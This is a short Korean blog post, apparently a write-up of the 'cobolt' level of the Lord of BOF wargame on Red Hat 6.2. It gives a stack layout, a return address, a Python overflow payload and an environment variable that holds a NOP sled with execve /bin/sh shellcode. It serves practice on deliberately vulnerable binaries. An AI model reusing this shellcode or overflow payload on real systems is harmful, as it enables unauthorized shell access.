BLOG main image
분류 전체보기 (224)
Reversing (13)
Pwnable (4)
Linux Kernel (3)
Crypto (2)
Wargames (68)
Programming (18)
Write Up (32)
Project (22)
Web (2)
My Life (52)
Memo (3)
etc (2)
발표자료 (1)
39,509 Visitors up to today!
Today 11 hit, Yesterday 4 hit
daisy rss
tistory 티스토리 가입하기!
2015.10.23 22:35


cobolt - small buffer + stdin

Stack : buffer[16] + sfp[4] + ret[4]

return address : 0xbffffeb9

Payload : (python -c 'print "A"*20 + "\xb9\xfe\xff\xbf"';cat) | ./goblin

Environment Variable : export shell=`python -c 'print "\x90"*100 + "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`

getenv.c : 


Using Environment Variable

'Wargames > Load Of BOF' 카테고리의 다른 글

LOB Redhat 6.2 - wolfman  (0) 2015.10.24
LOB Redhat 6.2 - orc  (0) 2015.10.24
LOB Redhat 6.2 - goblin  (0) 2015.10.23
LOB Redhat 6.2 - cobolt  (0) 2015.10.23
LOB Redhat 6.2 - gremlin  (0) 2015.10.23
LOB Redhat 6.2 - gate  (0) 2015.10.22
Name
Password
Homepage
Secret